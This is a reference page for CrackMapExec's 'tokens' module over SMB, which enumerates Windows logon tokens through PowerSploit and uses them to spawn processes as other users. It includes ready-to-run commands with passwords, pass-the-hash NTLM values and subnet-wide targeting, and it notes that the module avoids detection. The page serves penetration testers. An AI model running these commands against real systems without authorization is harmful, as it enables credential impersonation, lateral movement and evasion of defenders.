CrackMapExec Tokens (smb)


This page contains detailed information about how to use the tokens CME module while using the smb protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.

Description


This module enumerates available Login Tokens using the Powersploit's Invoke-TokenManipulation.ps1 script. It can enumerate the available tokens and then use them to create new processes. This allows you to use anothers users credentials over the network by creating a process with their logon token.

The tokens module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.

Supported Protocols


  • mssql
  • smb

Module Source Code


Authors


Module Options


Here is a complete list of tokens module options:

# cme smb -M tokens --options
[*] tokens module options:

            USER      Search for the specified username in available tokens (default: None)
            USERFILE  File containing usernames to search for in available tokens (defult: None)

Note that none of these options is required. If you want to change any of the default values, you can do so by adding, e.g. -o USER=VALUE parameter to the command line.

Module Usage


This is how to use the tokens module while using the smb protocol:

Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M tokens

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M tokens
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M tokens

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M tokens

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M tokens
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M tokens
The tokens module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M tokens
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M tokens
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M tokens

References


Version


This page has been created based on CrackMapExec version 5.1.7dev.
Visit CrackMapExec Module Library for more modules.